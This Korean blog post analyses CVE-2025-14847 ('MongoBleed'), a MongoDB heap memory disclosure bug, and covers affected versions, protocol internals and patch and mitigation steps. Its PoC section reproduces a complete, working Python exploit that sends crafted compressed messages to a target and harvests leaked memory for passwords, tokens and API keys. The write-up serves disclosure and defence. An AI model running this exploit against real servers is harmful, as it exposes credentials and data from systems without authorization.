1. MongoDB
- 데이터를 테이블이 아닌 Document 단위 (JSON 형식의 데이터)로 저장하는 NoSQL(Not Only SQL) 데이터베이스 [1]
2. 취약점

- zlib 기반 네트워크 압축을 처리하는 과정에서, 압축 프로토콜 헤더의 길이 값이 서로 불일치하는 비정상 메시지를 제대로 다루지 못해 초기화되지 않은 힙 메모리 영역이 노출될 수 있는 취약점 [3][4]
> 인증 없이 DB에 연결만 해도 원격에서 서버 메모리(힙) 일부가 유출될 수 있어 계정 정보·비밀번호·API 키 등 민감정보 노출 가능성 존재
※ 버그는 2017년 5월 도입된 RP에서 도입되었으며 25.12.19 공식적으로 공개
영향받는 버전
MongoDB
- 8.2.0 이상 ~ 8.2.3 미만
- 8.0.0 이상 ~ 8.0.17 미만
- 7.0.0 이상 ~ 7.0.28 미만
- 6.0.0 이상 ~ 6.0.27 미만
- 5.0.0 이상 ~ 5.0.32 미만
- 4.4.0 이상 ~ 4.4.30 미만
- 모든 v4.2 버전
- 모든 v4.0 버전
- 모든 v3.6 버전
- MongoDB는 HTTP 대신 자체 TCP 프로토콜을 사용하며, 메시지는 BSON(Binary JSON, 바이너리 형태로 데이터를 직렬화하는 형식) 형식으로 전송됨 [5][6][7]
> 모든 요청은 OP_MSG 명령으로 구성되며, 압축된 메시지가 전송될 때 OP_COMPRESSED 구조체로 래핑됨
> uncompressedSize필드는 압축 해제 후 페이로드의 크기를 나타내며, 해당 값에 대한 유효성 검사가 없어 값을 조작하여 초기화되지 않은 힙 메모리로 채워진 과도하게 큰 버퍼를 할당 가능
※ 유출된 메모리에는 이전에 힙을 차지했던 내용에 따라, 비밀번호, 자격 증명, API 키 등의 민감 데이터 조각이 포함될 수 있음
struct OP_COMPRESSED {
struct MsgHeader {
int32 messageLength;
int32 requestID;
int32 responseTo;
int32 opCode;
};
int32_t originalOpcode;
int32_t uncompressedSize;
uint8_t compressorId;
char *compressedMessage;
};
2.1 Exploit Part 1 : 잘못된 버퍼 할당
- 공격자는 uncompressedSize 값을 실제보다 과도하게 큰 값으로 설정해 서버가 큰 버퍼를 할당하도록 만듦
> 실제 1KB 크기의 메시지를 1MB로 선언
> 서버는 압축 해제 후 페이로드의 실제 크기(1KB)를 검증하지 않고 사용자 입력(1MB)를 신뢰
> C++ 기반 MongoDB는 메모리 초기화를 수행하지 않기 때문에, 이전 작업의 민감 데이터가 포함될 수 있음
[ 1KB of REAL DATA | 999KB of UNREFERENCED HEAP GARBAGE ]
↑ ↑
actual length (1KB) user input length (1MB)
2.2 Exploit Part 2 : 데이터 유출
- 공격자는 잘못된 BSON 데이터를 전송해 서버가 메모리의 쓰레기 데이터를 파싱하도록 유도
> BSON의 첫 필드는 문자열이며, C언어의 널 종료 문자열 (null-terminated strings) 규칙을 따
> 널 종료 문자열 (\0)이 없는 문자열을 보내면, 메모리 버퍼에서 첫 번째 널 종료 문자(\0)를 찾을 때까지 데이터를 읽음
> 해당 과정을 반복 힙 메모리 전체를 스캔하며 민강 정보 수집 가능
# Conceptual
[ REAL DATA | UNREFERENCED HEAP GARBAGE ]
# Practical Example : 메모리에는 실제 데이터 a와 이전 작업의 민감 데이터가 함께 포함된 상태
[ { "a | password: 123\0 | apiKey: jA2sa | ip: 219.117.127.202 ]
# Error MSG : 서버는 메모리내 널 종료 문자열(\0)를 찾을 때까지 데이터를 읽어 오류 메시지에 해당 내용을 포함하여 응답
{
"ok": 0,
"errmsg": "invalid BSON field name 'a | password: 123'",
"code": 2,
"codeName": "BadValue"
}

2.3 PoC
- 조작된 uncompressedSize 값과 BSON 데이터를 포함하는 압축 메시지 전송 [8]
#!/usr/bin/env python3
"""
mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit
Author: Joe Desimone - x.com/dez_
Exploits zlib decompression bug to leak server memory via BSON field names.
Technique: Craft BSON with inflated doc_len, server reads field names from
leaked memory until null byte.
"""
import socket
import struct
import zlib
import re
import argparse
def send_probe(host, port, doc_len, buffer_size):
"""Send crafted BSON with inflated document length"""
# Minimal BSON content - we lie about total length
content = b'\x10a\x00\x01\x00\x00\x00' # int32 a=1
bson = struct.pack('<i', doc_len) + content
# Wrap in OP_MSG
op_msg = struct.pack('<I', 0) + b'\x00' + bson
compressed = zlib.compress(op_msg)
# OP_COMPRESSED with inflated buffer size (triggers the bug)
payload = struct.pack('<I', 2013) # original opcode
payload += struct.pack('<i', buffer_size) # claimed uncompressed size
payload += struct.pack('B', 2) # zlib
payload += compressed
header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
try:
sock = socket.socket()
sock.settimeout(2)
sock.connect((host, port))
sock.sendall(header + payload)
response = b''
while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
sock.close()
return response
except:
return b''
def extract_leaks(response):
"""Extract leaked data from error response"""
if len(response) < 25:
return []
try:
msg_len = struct.unpack('<I', response[:4])[0]
if struct.unpack('<I', response[12:16])[0] == 2012:
raw = zlib.decompress(response[25:msg_len])
else:
raw = response[16:msg_len]
except:
return []
leaks = []
# Field names from BSON errors
for match in re.finditer(rb"field name '([^']*)'", raw):
data = match.group(1)
if data and data not in [b'?', b'a', b'$db', b'ping']:
leaks.append(data)
# Type bytes from unrecognized type errors
for match in re.finditer(rb"type (\d+)", raw):
leaks.append(bytes([int(match.group(1)) & 0xFF]))
return leaks
def main():
parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak')
parser.add_argument('--host', default='localhost', help='Target host')
parser.add_argument('--port', type=int, default=27017, help='Target port')
parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
parser.add_argument('--output', default='leaked.bin', help='Output file')
args = parser.parse_args()
print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
print(f"[*] Author: Joe Desimone - x.com/dez_")
print(f"[*] Target: {args.host}:{args.port}")
print(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
print()
all_leaked = bytearray()
unique_leaks = set()
for doc_len in range(args.min_offset, args.max_offset):
response = send_probe(args.host, args.port, doc_len, doc_len + 500)
leaks = extract_leaks(response)
for data in leaks:
if data not in unique_leaks:
unique_leaks.add(data)
all_leaked.extend(data)
# Show interesting leaks (> 10 bytes)
if len(data) > 10:
preview = data[:80].decode('utf-8', errors='replace')
print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")
# Save results
with open(args.output, 'wb') as f:
f.write(all_leaked)
print()
print(f"[*] Total leaked: {len(all_leaked)} bytes")
print(f"[*] Unique fragments: {len(unique_leaks)}")
print(f"[*] Saved to: {args.output}")
# Show any secrets found
secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
for s in secrets:
if s.lower() in all_leaked.lower():
print(f"[!] Found pattern: {s.decode()}")
if __name__ == '__main__':
main()
3. 대응방안
- 벤더사 제공 업데이트 적용 [10][11][12]
> OP_COMPRESSED BSON에 제공된 값을 그대로 사용하는 대신, 출력 크기로부터 메시지 크기를 계산
> 이를 통해 실제 메시지 크기 이상의 추가 메모리가 할당되지 않도록 함
| 취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
| CVE-2025-14847 | MongoDB | 8.2.0 이상 ~ 8.2.3 미만 | 8.2.3 |
| 8.0.0 이상 ~ 8.0.17 미만 | 8.0.17 | ||
| 7.0.0 이상 ~ 7.0.28 미만 | 7.0.28 | ||
| 6.0.0 이상 ~ 6.0.27 미만 | 6.0.27 | ||
| 5.0.0 이상 ~ 5.0.32 미만 | 5.0.32 | ||
| 4.4.0 이상 ~ 4.4.30 미만 | 4.4.30 | ||
| 모든 v4.2 버전 | 해결 버전으로 마이그레이션 (4.4.30) |
||
| 모든 v4.0 버전 | |||
| 모든 v3.6 버전 |
※ v3.6 버전, v4.0 버전, v4.2 버전은 EOL
- 업데이트 적용이 불가할 경우
> zlib 압축 비활성화
※ mongod 또는 mongos 실행 시 networkMessageCompressors 또는 net.compression.compressors 옵션에서 zlib을 명시적으로 제외
> MongoDB 서버 외부 노출 최소화
※ 방화벽·보안그룹·접근제어를 통해 데이터베이스가 신뢰된 애플리케이션 경로에서만 연결 허용
> 이상 접속과 트래픽 패턴 점검 및 필요 시 데이터베이스 접근 자격증명, 토큰 교체
> 탐지도구 활용을 통한 취약점 식별 [13]
4. 참고
[1] https://www.mongodb.com/ko-kr
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-14847
[3] https://www.akamai.com/blog/security-research/cve-2025-14847-all-you-need-to-know-about-mongobleed
[4] https://bigdata.2minutestreaming.com/p/mongobleed-explained-simply
[5] https://www.mongodb.com/ko-kr/docs/manual/reference/bson-types/
[6] https://velog.io/@wndbsgkr/MongoDB%EC%9D%98-BSON%EC%97%90-%EB%8C%80%ED%95%B4-%EC%95%84%EC%8B%9C%EB%82%98%EC%9A%94
[7] https://velog.io/@chayezo/MongoDB-JSON-vs.-BSON
[8] https://github.com/joe-desimone/mongobleed
[9] https://www.rapid7.com/blog/post/etr-mongobleed-cve-2025-1484-critical-memory-leak-in-mongodb-allowing-attackers-to-extract-sensitive-data/
[10] https://jira.mongodb.org/browse/SERVER-115508
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71931
[12] https://github.com/mongodb/mongo/commit/505b660a14698bd2b5233bd94da3917b585c5728
[13] https://github.com/Neo23x0/mongobleed-detector
[14] https://blog.ecapuano.com/p/hunting-mongobleed-cve-2025-14847
[15] https://www.dailysecu.com/news/articleView.html?idxno=203786
[16] https://news.hada.io/topic?id=25422
'취약점 > Sensitive Data Exposure' 카테고리의 다른 글
| Cisco CSLU 하드 코딩된 자격 증명 및 과다 로깅 취약점 (CVE-2024-20439, CVE-2024-20440) (0) | 2025.04.05 |
|---|---|
| CISA, F5 BIG-IP 쿠키 악용해 내부 네트워크 해킹에 대해 경고 (1) | 2024.10.13 |
| Jenkins 임의 파일 읽기 취약점 (CVE-2024-23897, CVE-2024-23898) (1) | 2024.02.04 |
| KeePass 마스터 비밀번호 탈취 취약점 (CVE-2023-3278) (0) | 2023.05.22 |
| Confluence 무단 정보 공개 (CVE-2017-7415) (0) | 2023.01.05 |